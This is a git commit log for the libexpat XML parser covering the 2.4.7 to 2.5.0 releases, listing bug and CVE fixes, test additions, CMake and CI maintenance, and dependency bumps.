Compare commits

...
3331 Commits
Author SHA1 Message Date
Sebastian Pipping 654d2de0da Merge pull request #668 from libexpat/issue-667-prepare-release
Prepare release 2.5.0 (part of #667)
2022-10-25 17:08:13 +02:00
Sebastian Pipping fe8ff0345f Changes: Add note on impact of CVE-2022-43680 2022-10-25 15:21:40 +02:00
Sebastian Pipping 18439d4f8b Merge pull request #666 from libexpat/improve-examples
Improve examples
2022-10-24 18:32:56 +02:00
Sebastian Pipping acbbef9420 Set release date for version 2.5.0 2022-10-24 18:32:42 +02:00
Sebastian Pipping 82a9c09f6c Changes: Document #656 #658 2022-10-24 18:32:42 +02:00
Sebastian Pipping 454c6105bc Bump version to 2.5.0 2022-10-24 18:32:42 +02:00
Sebastian Pipping db20f72472 Bump version info from 9:9:8 to 9:10:8
See https://verbump.de/ for what these numbers do
2022-10-24 18:32:42 +02:00
Sebastian Pipping 7e27f561a6 Sync file headers 2022-10-24 18:32:42 +02:00
Sebastian Pipping 56967f83d6 Merge pull request #650 from libexpat/issue-649-fix-overeager-dtd-destruction
[CVE-2022-43680] Fix overeager DTD destruction (fixes #649)
2022-10-24 16:34:19 +02:00
Sebastian Pipping 55ca001112 Changes: Document #666 2022-10-24 16:01:20 +02:00
Sebastian Pipping a608db2883 cmake: Resolve duplication related to building examples 2022-10-24 16:01:20 +02:00
Sebastian Pipping 9294082e74 examples: Add some whitespace for readability 2022-10-24 16:01:20 +02:00
Sebastian Pipping dbf1202529 examples: Make use of XML_GetBuffer 2022-10-24 16:01:19 +02:00
Sebastian Pipping 2f38031778 examples/elements.c: Resolve unused include of <wchar.h> 2022-10-24 16:00:45 +02:00
Sebastian Pipping 77409cde88 examples/elements.c: Be consistent across examples regarding OOM detection 2022-10-24 16:00:45 +02:00
Sebastian Pipping 894b98d9b3 examples: Be consistent across examples regarding read looping and main exit 2022-10-24 16:00:45 +02:00
Sebastian Pipping 37386fd2d3 examples/elements.c: Be consistent in parse error reporting format across examples 2022-10-24 16:00:45 +02:00
Sebastian Pipping 2b3b95c670 examples/outline.c: Be consistent in main loop exit across examples 2022-10-24 16:00:45 +02:00
Sebastian Pipping 023b95dba0 examples/outline.c: Make element handler signatures consistent across examples 2022-10-24 16:00:45 +02:00
Sebastian Pipping 93a757ab7d examples/outline.c: Make use of BUFSIZ from stdio.h consistent across examples 2022-10-24 16:00:43 +02:00
Sebastian Pipping fcb91e43bd examples: Make passing of depth pointer consistent across examples 2022-10-24 16:00:15 +02:00
Sebastian Pipping 9c7bd378b6 examples: Resolve use of unused variables argc and argv 2022-10-24 16:00:13 +02:00
Sebastian Pipping 5ac714074d Merge pull request #665 from libexpat/dependabot/github_actions/actions/upload-artifact-3.1.1
Actions(deps): Bump actions/upload-artifact from 3.1.0 to 3.1.1
2022-10-24 15:41:28 +02:00
Sebastian Pipping eedc5f6de8 Changes: Document #649 2022-10-24 14:58:45 +02:00
Sebastian Pipping 43992e4ae2 tests: Cover overeager DTD destruction in XML_ExternalEntityParserCreate 2022-10-24 14:58:45 +02:00
Sebastian Pipping 5290462a7e lib: Fix overeager DTD destruction in XML_ExternalEntityParserCreate 2022-10-24 14:58:45 +02:00
dependabot[bot] 66dc6066da Actions(deps): Bump actions/upload-artifact from 3.1.0 to 3.1.1
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-24 12:05:28 +00:00
Sebastian Pipping 56d85659ac examples/outline.c: Rename "Buff" to "buf" for consistency across examples 2022-10-24 01:29:05 +02:00
Sebastian Pipping bd351fad20 examples/outline.c: Make "Buff" a local variable 2022-10-24 00:58:25 +02:00
Sebastian Pipping 7eaccc0332 examples/outline.c: Rename variable "p" to "parser" 2022-10-24 00:53:51 +02:00
Sebastian Pipping 391551620e Merge pull request #663 from libexpat/expat-config-h-multiple-inclusion-guard
Protect header expat_config.h from multiple inclusion
2022-10-23 21:58:42 +02:00
Sebastian Pipping 6393f2d3ff Protect expat_config.h against multiple inclusion 2022-10-23 17:33:32 +02:00
Sebastian Pipping 91920104de Merge pull request #654 from libexpat/issue-613-fix-processing-of-nested-entities
Fix processing of nested entities (fixes #613)
2022-10-18 01:32:06 +02:00
Sebastian Pipping 6acab0a2d9 Changes: Document #613 2022-10-17 23:11:52 +02:00
Sebastian Pipping fc95d53eb5 tests: Cover suspend with inside nested entites in internalEntityProcessor 2022-10-17 23:11:10 +02:00
Sebastian Pipping 6fa8957d33 lib: Fix suspend with inside nested entites in internalEntityProcessor 2022-10-17 23:11:10 +02:00
Sebastian Pipping 9d26eda6f8 lib: Simplify control flow in internalEntityProcessor
The key is that all branches but the last ended in `return`.

```
BEFORE              |   AFTER
--------------------+--------------------
if (..a..) {        | if (..a..) {
    ..b..;          |     ..b..;
    return ..c..;   |     return ..c..;
                    | }
} else if (..d..) { | if (..d..) {
    ..e..;          |     ..e..;
    return ..f..;   |     return ..f..;
} else {            | }
    ..g..;          | ..g..;
}                   |
```
2022-10-17 23:11:10 +02:00
Sebastian Pipping 15026eb853 Merge pull request #653 from libexpat/issue-652-stop-leaking-tag-bindings
Stop leaking tag bindings (fixes #652)
2022-10-17 22:37:30 +02:00
Sebastian Pipping 4681060290 Merge pull request #659 from libexpat/dependabot/github_actions/actions/checkout-3.1.0
Actions(deps): Bump actions/checkout from 3.0.2 to 3.1.0
2022-10-10 15:16:21 +02:00
dependabot[bot] cfa1c20be4 Actions(deps): Bump actions/checkout from 3.0.2 to 3.1.0
Bumps [actions/checkout](https://github.com/actions/checkout) from 3.0.2 to 3.1.0.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3.0.2...v3.1.0)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-10-10 12:07:28 +00:00
Sebastian Pipping ea4a24d764 Merge pull request #658 from Osyotr/patch-1
[2.4.9] CMake: Fix static library name when building with MinGW
2022-10-07 23:04:30 +02:00
Osyotr 90bc7cf0ab Fix static library name when building with mingw
When building static library with mingw the output file name should be `libexpat.a`, not `libexpat-1.dll`.
This is a regression from https://github.com/libexpat/libexpat/pull/624
Original issue: https://github.com/microsoft/vcpkg/issues/27132
2022-10-07 21:56:31 +03:00
Sebastian Pipping 8510b2c551 Changes: Document #652 2022-10-07 19:30:46 +02:00
Sebastian Pipping 16a4db928b lib: Stop leaking opening tag bindings after closing tag mismatch error
.. by moving the opening tag onto the free tag list only
*after* the tag match check has passed.
2022-10-07 19:30:10 +02:00
Sebastian Pipping d7ea13f504 tests: Cover leak of opening tag bindings after closing tag mismatch error 2022-10-07 19:30:10 +02:00
Sebastian Pipping eb976a36d0 Merge pull request #645 from libexpat/issue-612-fix-corruption-from-undefined-entities
Fix corruption from undefined entities (fixes #612, variation of #615)
2022-10-07 19:05:30 +02:00
Osyotr 7185eee99a [2.4.9] CMake: Fix generation of pkgconfig file (#656) 2022-10-04 02:33:13 +02:00
musvaage c7b546595e fix typos (#655) 2022-09-26 00:26:04 +02:00
Sebastian Pipping fa1efbac97 Changes: Document #612 #645 2022-09-21 00:27:57 +02:00
Jann Horn 1bdbde26b9 Fix curruption from undefined entities (fixes #612) 2022-09-21 00:27:33 +02:00
Rhodri James c697c3ed6e Regression test for #612: tempPool corrupt from attribute types.
Attribute type declarations accumulate the type in m_tempPool.
When parsing is skipped because of (for example) a missing
parameter entity, the accumulated definition is not cleared out
as it normally would be, and corrupts the data passed to future
handlers.

Note this commit leaves the regression tests failing (which is
after all what we were trying to prove).
2022-09-21 00:27:33 +02:00
Sebastian Pipping b4eecc131f Merge pull request #648 from libexpat/issue-648-tests-fix-warning-missing-prototypes
tests: Address GCC warning -Wmissing-prototypes
2022-09-21 00:26:19 +02:00
Sebastian Pipping 9f13b5b575 tests: Address GCC warning -Wmissing-prototypes
Symptom:
../../../tests/runtests.c:4994:1: warning: no previous prototype for ‘suspending_comment_handler’ [-Wmissing-prototypes]
 4994 | suspending_comment_handler(void *userData, const XML_Char *data) {
      | ^~~~~~~~~~~~~~~~~~~~~~~~~~
2022-09-20 23:19:14 +02:00
Sebastian Pipping d77291a482 Merge pull request #644 from libexpat/issue-642-release-2-4-9
Prepare release 2.4.9 (part of #642)
2022-09-20 16:26:19 +02:00
Sebastian Pipping 869b3dea1c Set release date for version 2.4.9 2022-09-19 16:20:44 +02:00
Sebastian Pipping a7103d40d8 Bump version to 2.4.9 2022-09-19 16:20:44 +02:00
Sebastian Pipping 88462ba0fa Bump version info from 9:8:8 to 9:9:8
See https://verbump.de/ for what these numbers do
2022-09-19 16:20:44 +02:00
Sebastian Pipping f70d53f2f5 Changes: Document #592 #593 #594 #614 #619 #627 #633 #635 #636 #637 2022-09-19 16:20:44 +02:00
Sebastian Pipping 55b79f4d88 Sync file headers 2022-09-19 16:20:44 +02:00
Sebastian Pipping 86a4093aab Resolve use of deprecated "fgrep" by "grep -F"
Related:
https://lists.gnu.org/archive/html/info-gnu/2022-09/msg00001.html
2022-09-19 16:19:42 +02:00
Sebastian Pipping 7430d28769 win32/build_expat_iss.bat: Add -DEXPAT_WARNINGS_AS_ERRORS=ON 2022-09-19 16:19:42 +02:00
Sebastian Pipping be3202513b Merge pull request #643 from libexpat/clang-15
Upgrade Clang from 14 to 15
2022-09-15 15:46:42 +02:00
Sebastian Pipping d139637bcb Actions: Upgrade Clang from 14 to 15 2022-09-15 01:12:37 +02:00
Sebastian Pipping d88c9510e2 tests: Address Clang 15 warning -Wstrict-prototypes
Symptom was:
error: a function declaration without a prototype is deprecated in all versions of C [-Werror,-Wstrict-prototypes]
2022-09-15 01:12:37 +02:00
Sebastian Pipping a976e32abd Merge pull request #640 from libexpat/issue-629-heap-use-after-free
[CVE-2022-40674] tests: Cover heap use-after-free issue in doContent (follow-up to #629)
2022-09-14 19:56:38 +02:00
Sebastian Pipping 721169eeca Changes: Document heap use-after-free CVE-2022-40674 2022-09-14 18:59:03 +02:00
Sebastian Pipping a7ce80a013 tests: Cover heap use-after-free issue in doContent 2022-09-14 18:57:51 +02:00
Sebastian Pipping a48c407000 Merge pull request #641 from libexpat/issue-626-static-library-symbol-visibility
Stop exporting API symbols when building a static library (fixes #626)
2022-09-12 18:19:09 +02:00
Sebastian Pipping 107437adcd Stop exporting API symbols when building a static library 2022-09-12 17:07:14 +02:00
Sebastian Pipping dde178b976 Merge pull request #629 from RMJ10/missing-store-raw
Ensure raw tagnames are safe exiting internalEntityParser
2022-09-11 21:01:20 +02:00
Sebastian Pipping 528dbea4ee Merge pull request #627 from libexpat/issue-597-cmake-migrate-set-cache-to-option
CMake: Unify inconsistent use of set() and option() (related to #597)
2022-09-11 16:39:19 +02:00
Sebastian Pipping 67db2adbed cmake: Mark _EXPAT_M32 and EXPAT_*_POSTFIX as advanced 2022-09-09 16:04:35 +02:00
Sebastian Pipping cb10e651c0 cmake: Unify set(var default CACHE type desc) and option(var desc default)
.. into expat_shy_set(var default CACHE type desc).

Note that this new macro is intended to be used for all future options.
Also, because we are no longer using plain option(), wheter policy CMP0077
is active in mode OLD or NEW is no longer of importance.
Hence the code related to CMP0077 could could be dropped.
2022-09-09 16:04:33 +02:00
Sebastian Pipping 1cc2b29c47 Merge pull request #632 from libexpat/github-actions-off-deprecated-ubuntu-18-04
Get GitHub Actions CI off deprecated Ubuntu 18.04
2022-09-09 16:00:53 +02:00
Sebastian Pipping 0d2def4cce Changes: Briefly document infra work 2022-09-09 01:53:05 +02:00
Sebastian Pipping 84bec8c72b GitHub Actions: Pin remaining unpinned ubuntu-latest 2022-09-09 01:53:05 +02:00
Sebastian Pipping 55ebc6d04e GitHub Actions: Stop installing Clang when not used 2022-09-09 01:53:05 +02:00
Sebastian Pipping 1156ae7dca GitHub Actions: Avoid Ubuntu 20.04 for coverage collection
.. because its MinGW GCC 9.3.0 fails to create any .gcda files
at test runtime (while that works just fine on 18.04 and 22.04).
2022-09-09 01:53:05 +02:00
Sebastian Pipping 003ac7403f coverage.sh|qa.sh: Fix copying of DLLs for Wine/MinGW for Ubuntu 22.04
Ubuntu 22.04 no longer has libgcc_s_sjlj-1.dll but needs
libgcc_s_dw2-1.dll now, instead.
2022-09-09 01:53:05 +02:00
Sebastian Pipping 6311d58530 GitHub Actions: Fix installation of 32bit Wine on Ubuntu 20.04
Same approach as https://github.com/uriparser/uriparser/pull/144
2022-09-09 01:53:05 +02:00
Sebastian Pipping 666a749f15 GitHub Actions: Get off deprecated Ubuntu 18.04 2022-09-09 01:53:05 +02:00
Sebastian Pipping 80e6c69140 cmake: Avoid error "windres: Command not found" with MinGW on Ubuntu 20.04
Related:
https://gitlab.kitware.com/cmake/cmake/-/issues/20500#note_720469
2022-09-09 01:46:33 +02:00
Sebastian Pipping 9d246a7225 Merge pull request #636 from neheb/patch-1
CMake: Drop leading whitespace from a #cmakedefine line in file expat_config.h.cmake to workaround issues with Meson
2022-08-28 15:26:30 +02:00
Sebastian Pipping fa9f063fe4 Merge pull request #637 from neheb/cl
apply-clang-format.sh: Add support for BSD find
2022-08-28 15:21:17 +02:00
Sebastian Pipping acf35f3f7c Merge pull request #638 from libexpat/fix-xmltest-log-sh-drop-more-wine-bug-output
fix-xmltest-log.sh: Drop more Wine bug output
2022-08-28 15:20:50 +02:00
Sebastian Pipping 05e904118f fix-xmltest-log.sh: Drop more Wine bug output 2022-08-28 01:38:43 +02:00
Sebastian Pipping 0b826ea202 Merge pull request #635 from libexpat/coverage-sh-fix-name-collision
coverage.sh: Fix name collision for -funsigned-char
2022-08-28 01:34:40 +02:00
Rosen Penev 2e4ff883f1 remove leading whitespace from config file
meson has a bug where #cmakedefine with leading whitespace is not transformed.
2022-08-27 16:25:49 -07:00
Rosen Penev cf0072d274 apply-clang-format: add support for BSD find
Found with shellcheck:

SC2185: Some finds don't have a default path. Specify '.' explicitly.

Signed-off-by: Rosen Penev <rosenp@gmail.com>
2022-08-27 15:57:42 -07:00
Sebastian Pipping fff6ef4c87 Merge pull request #634 from libexpat/fix-mingw-compilation
lib: Fix compilation for -D__USE_MINGW_ANSI_STDIO=0
2022-08-28 00:35:06 +02:00
Sebastian Pipping 6225970379 coverage.sh: Fix name collision for -funsigned-char 2022-08-27 23:40:24 +02:00
Sebastian Pipping 446688c6ca lib: Fix compilation for -D__USE_MINGW_ANSI_STDIO=0 2022-08-27 23:37:04 +02:00
Sebastian Pipping cc3ddda565 Merge pull request #633 from libexpat/coverage-sh-exclude-mingw-headers
coverage.sh: Exclude MinGW headers
2022-08-21 20:05:36 +02:00
Sebastian Pipping 9188cba7a5 coverage.sh: Exclude MinGW headers (stdio.h and stdlib.h) 2022-08-21 19:22:29 +02:00
Sebastian Pipping 230b490cbf coverage.sh: Inline exclusion patterns (for upcoming change) 2022-08-21 19:18:45 +02:00
t-0 0a0418faf8 File expat/fuzz/.gitignore changed to not ignore already-committed source files (fixes #630) (#631) 2022-08-20 23:37:46 +02:00
Rhodri James 4a32da87e9 Ensure raw tagnames are safe exiting internalEntityParser
It is possible to concoct a situation in which parsing is
suspended while substituting in an internal entity, so that
XML_ResumeParser directly uses internalEntityProcessor as
its processor.  If the subsequent parse includes some unclosed
tags, this will return without calling storeRawNames to ensure
that the raw versions of the tag names are stored in memory other
than the parse buffer itself.  If the parse buffer is then changed
or reallocated (for example if processing a file line by line),
badness will ensue.

This patch ensures storeRawNames is always called when needed
after calling doContent.  The earlier call do doContent does
not need the same protection; it only deals with entity
substitution, which cannot leave unbalanced tags, and in any
case the raw names will be pointing into the stored entity
value not the parse buffer.
2022-08-17 18:26:18 +01:00
Sebastian Pipping 11598f34ed Merge pull request #625 from libexpat/autotools-sync-cmake-files
Autotools: Get CMake templates back in sync with CMake of GitHub Actions image "ubuntu-20.04"
2022-08-11 18:19:07 +02:00
Sebastian Pipping 2d31043257 Changes: Document past Autotools Cmake template adjustments in more detail 2022-08-11 16:28:47 +02:00
Sebastian Pipping c09cb677f6 autotools: Sync CMake templates with CMake 3.22 2022-08-11 16:28:47 +02:00
Sebastian Pipping f97479d7c3 Merge pull request #624 from libexpat/issue-622-mingw-cmake-dll-filename
CMake: Produce libexpat-1.dll with MinGW in line with GNU Autotools (fixes #622)
2022-08-03 13:45:54 +02:00
Sebastian Pipping 7731dd5b90 cmake: Produce libexpat-1.dll with MinGW in line with GNU Autotools 2022-08-03 00:10:50 +02:00
Sebastian Pipping e12e9ffb95 Merge pull request #621 from libexpat/issue-512-windows-render-def-files-from-template
CMake: Render .def file from a template to fix linking (fixes #512) + apply .def file with MinGW
2022-08-02 00:13:04 +02:00
Sebastian Pipping 0fb9a62022 cmake: Apply .def file when linking with MinGW 2022-07-30 21:06:08 +02:00
Sebastian Pipping bc2d690ad4 cmake|windows: Render .def file from a template to fix linking
.. with -DEXPAT_DTD=OFF and/or -DEXPAT_ATTR_INFO=ON .
2022-07-30 21:06:08 +02:00
Sebastian Pipping 9c66cb375e Merge pull request #620 from libexpat/cmake-improve-documentation-on-variables
CMake: Improve documentation on variables
2022-07-28 22:21:04 +02:00
Sebastian Pipping 89dc0f26ee Merge pull request #611 from neheb/def
Fix .def files syntax for MinGW
2022-07-28 01:17:03 +02:00
Sebastian Pipping ca2cc7ead6 Merge pull request #614 from Tieske/minor
fix(docs) update XML_DTD symbol visibility
2022-07-28 00:21:47 +02:00
Sebastian Pipping 260c5190be Changes: Document #608 and #620 2022-07-28 00:14:26 +02:00
Sebastian Pipping d4ecd87e55 readme: Get CMake variables documentation back in sync 2022-07-27 23:58:29 +02:00
Sebastian Pipping aa65f8cac7 cmake: Make all variable documentation start with a capital letter 2022-07-27 23:58:25 +02:00
Sebastian Pipping ac6e1d0bf1 cmake: Improve documentation of variables EXPAT_*_POSTFIX 2022-07-27 23:57:54 +02:00
Sebastian Pipping 0e9bd32b30 cmake: Fix a CMAKE_*_POSTFIX leftover from pull request #608 2022-07-27 23:57:50 +02:00
Sebastian Pipping 2ba1ae67d6 Merge pull request #619 from libexpat/actions-get-off-deprecated-macos-10-15
Actions: Get off deprecated macos-10.15
2022-07-27 23:51:12 +02:00
Sebastian Pipping 6f746094be Merge pull request #608 from dfaure-kdab/master
CMake: Set target properties *_POSTFIX instead of global vars CMAKE_*_POSTFIX
2022-07-27 23:17:44 +02:00
Sebastian Pipping 7d6c0d8f41 actions: Be explicit about macos-11 2022-07-27 23:17:30 +02:00
Sebastian Pipping 91432ad601 actions: Migrate from deprecated macos-10.15 to macos-11 2022-07-27 23:17:30 +02:00
David Faure 5a263e7516 Set target properties *_POSTFIX instead of global vars CMAKE_*_POSTFIX
This fixes unwanted side effects when libexpat is used with FetchContent
in another cmake-based project. Setting CMAKE_*_POSTFIX affects the
whole project, while here we only want to define the postfix for libexpat
itself.
2022-07-27 19:03:46 +02:00
Thijs Schreijer f1a5b316fb fix(docs) update XML_DTD symbol visibility 2022-07-22 15:06:14 +02:00
Rosen Penev e36bcc2c40 expat: fix def files for MinGW
MinGW expects a populated LIBRARY field. Alternatively it can just be
removed.

Signed-off-by: Rosen Penev <rosenp@gmail.com>
2022-07-18 14:37:22 -07:00
Sebastian Pipping 68e60b5677 Merge pull request #610 from libexpat/address-cppcheck-2-8-1-warning
lib: Address Cppcheck 2.8.1 warning / fix CI
2022-07-16 00:30:41 +02:00
Sebastian Pipping 6101fbc18e lib: Address Cppcheck 2.8.1 warning
expat/lib/xmlparse.c:4288:21: error: Uninitialized variable: &versionend [uninitvar]
          &version, &versionend, &encodingName, &newEncoding, &standalone)) {
                    ^
2022-07-15 23:27:44 +02:00
Sebastian Pipping 4e91da28fb Merge pull request #609 from libexpat/issue-585-license-file
Add /COPYING file + sync file headers (fixes #585)
2022-07-14 23:29:06 +02:00
Sebastian Pipping 34f57a0b30 COPYING: cp expat/COPYING ./ 2022-07-14 22:27:25 +02:00
Sebastian Pipping 39b2e99355 Sync file headers 2022-07-14 22:26:59 +02:00
Sebastian Pipping 24fa196ae8 .mailmap: Add Martin Ettl 2022-07-14 22:26:59 +02:00
Sebastian Pipping f450135112 Merge pull request #603 from libexpat/dependabot/github_actions/actions/upload-artifact-3.1.0
Actions(deps): Bump actions/upload-artifact from 3.0.0 to 3.1.0
2022-05-24 21:18:38 +02:00
dependabot[bot] 3c6aaff666 Actions(deps): Bump actions/upload-artifact from 3.0.0 to 3.1.0
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3.0.0 to 3.1.0.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v3.0.0...v3.1.0)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-05-23 12:04:59 +00:00
Sebastian Pipping d444af3b47 Merge pull request #602 from libexpat/dependabot/github_actions/actions/checkout-3.0.2
Actions(deps): Bump actions/checkout from 3.0.1 to 3.0.2
2022-04-25 20:30:44 +02:00
dependabot[bot] 1e1bceb379 Actions(deps): Bump actions/checkout from 3.0.1 to 3.0.2
Bumps [actions/checkout](https://github.com/actions/checkout) from 3.0.1 to 3.0.2.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3.0.1...v3.0.2)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-04-25 12:06:42 +00:00
orbitcowboy dc156ea168 [style] Added parentheses around macro arguments (#601) 2022-04-20 12:43:53 +02:00
Sebastian Pipping 38b14bb2da Merge pull request #595 from orbitcowboy/master
[style] Added parentheses around macro arguments
2022-04-19 19:51:08 +02:00
Sebastian Pipping d010395c09 Merge pull request #599 from libexpat/issue-597-windows-tests-xml-static
CMake: Add missing XML_STATIC to test runners and fuzzers on Windows (related to #597)
2022-04-19 19:50:28 +02:00
Sebastian Pipping 967fb8bb6e Merge pull request #600 from libexpat/dependabot/github_actions/actions/checkout-3.0.1
Actions(deps): Bump actions/checkout from 3.0.0 to 3.0.1
2022-04-18 16:56:08 +02:00
dependabot[bot] 00036b3e6e Actions(deps): Bump actions/checkout from 3.0.0 to 3.0.1
Bumps [actions/checkout](https://github.com/actions/checkout) from 3.0.0 to 3.0.1.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3.0.0...v3.0.1)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-04-18 12:10:04 +00:00
Sebastian Pipping 4b92533bbe CMake: Add missing XML_STATIC to test runners and fuzzers on Windows 2022-04-16 15:17:49 +02:00
Sebastian Pipping 6c7c40a6b7 CMake: Add missing section comment for fuzzers 2022-04-16 14:03:15 +02:00
Sebastian Pipping aaf785b842 CMake: Extract loop to resolve runtests/runtestspp duplication 2022-04-16 14:03:15 +02:00
Sebastian Pipping dd969fc5d9 Merge pull request #598 from libexpat/appveyor-msvc2022
AppVeyor: Add MSVC 2022
2022-04-12 23:36:43 +02:00
Sebastian Pipping 53ff63e199 appveyor.yml: Add MSVC 2022 2022-04-12 22:25:57 +02:00
Sebastian Pipping 88faa785fd Merge pull request #596 from libexpat/sync-autotools-cmake-templates
autotools: Sync expat.cmake to agree with CI
2022-04-08 20:51:37 +02:00
Sebastian Pipping 1ba57f7858 autotools: Sync expat.cmake to agree with CI 2022-04-08 19:55:48 +02:00
orbitcowboy a100d0132d [STYLE] Added parentheses around macro argument 2022-04-01 17:57:04 +02:00
Sebastian Pipping e55290c77f Merge pull request #594 from orbitcowboy/master
Fixed variable mix-up in nsattcmp attribute handling
2022-04-01 17:15:42 +02:00
orbitcowboy 4ead0836c5 Fixed typo in nsattcmp attribute handling 2022-04-01 16:37:13 +02:00
Sebastian Pipping f1b05559cc Merge pull request #593 from orbitcowboy/master
Assign LPVOID pointer with NULL before it's being used
2022-03-30 15:02:15 +02:00
orbitcowboy 399a65e637 Assign LPVOID pointer with NULL before it's being used
This fixes https://github.com/libexpat/libexpat/issues/592
2022-03-30 14:29:20 +02:00
Sebastian Pipping 3bab6c09bb Merge pull request #591 from libexpat/issue-590-prepare-release
Prepare release 2.4.8 (part of #590)
2022-03-28 23:11:38 +02:00
Sebastian Pipping 8902f86c39 Set expected release date for 2.4.8 2022-03-28 16:57:36 +02:00
Sebastian Pipping 8a23721475 Sync file headers 2022-03-28 16:52:39 +02:00
Sebastian Pipping 24ae16273b Bump version to 2.4.8 2022-03-28 16:49:52 +02:00
Sebastian Pipping 44c2a9470a Bump version info from 9:7:8 to 9:8:8
See https://verbump.de/ for what these numbers do
2022-03-28 16:01:01 +02:00
Sebastian Pipping f1fd4b6d4a Merge pull request #587 from libexpat/fix-pkg-config
Fix pkg-config files
2022-03-28 15:52:03 +02:00
Sebastian Pipping 011c4b5a5c Merge pull request #589 from libexpat/clang-14
Actions: Upgrade Clang from 13 to 14
2022-03-25 17:06:41 +01:00
Sebastian Pipping 5764f867d4 Merge pull request #586 from libexpat/actions-migrate-off-moving-tags
Actions: Migrate off moving Git tags
2022-03-25 14:59:32 +01:00
Sebastian Pipping 0684e6e183 Actions: Resolve hardcoding of "bionic" for maintainability 2022-03-25 14:58:25 +01:00
Sebastian Pipping ef31c8681e Actions: Upgrade Clang from 13 to 14 2022-03-25 14:58:25 +01:00
Sebastian Pipping bc42b64076 Actions: Migrate off moving Git tags 2022-03-24 18:21:29 +01:00
Sebastian Pipping 540c7eb707 Merge pull request #588 from libexpat/actions-make-robust-towards-outdated-images
Actions: Make robust toward outdated images
2022-03-24 18:21:02 +01:00
Sebastian Pipping 95397f52e4 Actions: Make robust toward outdated images 2022-03-24 16:51:44 +01:00
Sebastian Pipping cbd4807ea6 Changes: Document #587 2022-03-24 16:41:18 +01:00
Sebastian Pipping 7165ae8bff CMake: Fix pkg-config section "Libs" for MSVC 2022-03-24 16:36:29 +01:00
Sebastian Pipping 896e94000c pkg-config: Move "-lm" from section "Libs" to section "Libs.private" 2022-03-24 16:29:58 +01:00
Sebastian Pipping bccf36869d Merge pull request #582 from libexpat/issue-55-macos-library-version
CMake: Enforce library versioning compatible with GNU Libtool for macOS (fixes #55)
2022-03-09 20:33:21 +01:00
Sebastian Pipping 53fbdf5b89 Merge pull request #583 from libexpat/dependabot/github_actions/actions/checkout-3
Actions(deps): Bump actions/checkout from 2.4.0 to 3
2022-03-07 19:54:44 +01:00
Sebastian Pipping f02c23a021 Merge pull request #584 from libexpat/dependabot/github_actions/actions/upload-artifact-3
Actions(deps): Bump actions/upload-artifact from 2.3.1 to 3
2022-03-07 19:54:35 +01:00
Sebastian Pipping 707cea1898 Changes: Document #55 and #582 2022-03-07 18:11:29 +01:00
dependabot[bot] f1205b2914 Actions(deps): Bump actions/upload-artifact from 2.3.1 to 3
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 2.3.1 to 3.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v2.3.1...v3)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-03-07 12:05:18 +00:00
dependabot[bot] 3e200940b0 Actions(deps): Bump actions/checkout from 2.4.0 to 3
Bumps [actions/checkout](https://github.com/actions/checkout) from 2.4.0 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2.4.0...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-03-07 12:05:16 +00:00
Sebastian Pipping f00c5857f9 CMake: Enforce library versioning compatible with GNU Libtool for macOS 2022-03-07 03:31:21 +01:00
Sebastian Pipping 27d5b8ba17 Merge pull request #581 from libexpat/fix-windows-installer
Fix windows installer (related to #555, follow-up to #570)
2022-03-04 22:23:07 +01:00
Sebastian Pipping c3e9dcfc66 Changes: Document #581 2022-03-04 21:22:31 +01:00
Sebastian Pipping c9e1ac00c6 win32: Fix version.rc destination in expat.iss 2022-03-04 21:22:31 +01:00
Sebastian Pipping 17b258471d Merge pull request #580 from libexpat/issue-578-prepare-release
Prepare release 2.4.7 (part of #578)
2022-03-04 20:41:48 +01:00
Sebastian Pipping c08d530920 Set expected release date for 2.4.7 2022-03-04 19:16:16 +01:00
Sebastian Pipping e07e394771 Sync file headers 2022-03-04 19:16:16 +01:00
Sebastian Pipping 99eddcd2bb Changes: Document #555 #570 #573 #574 #575 #579 2022-03-04 19:16:16 +01:00
Sebastian Pipping a34daa5bab Bump version to 2.4.7 2022-03-04 18:47:59 +01:00
Sebastian Pipping c30b80ee9c Bump version info from 9:6:8 to 9:7:8
See https://verbump.de/ for what these numbers do
2022-03-04 18:46:01 +01:00
Sebastian Pipping f178826bb1 Merge pull request #577 from libexpat/namesep
lib: Relax fix to CVE-2022-25236 with regard to RFC 3986 URI characters (fixes #572)
2022-03-04 18:43:39 +01:00
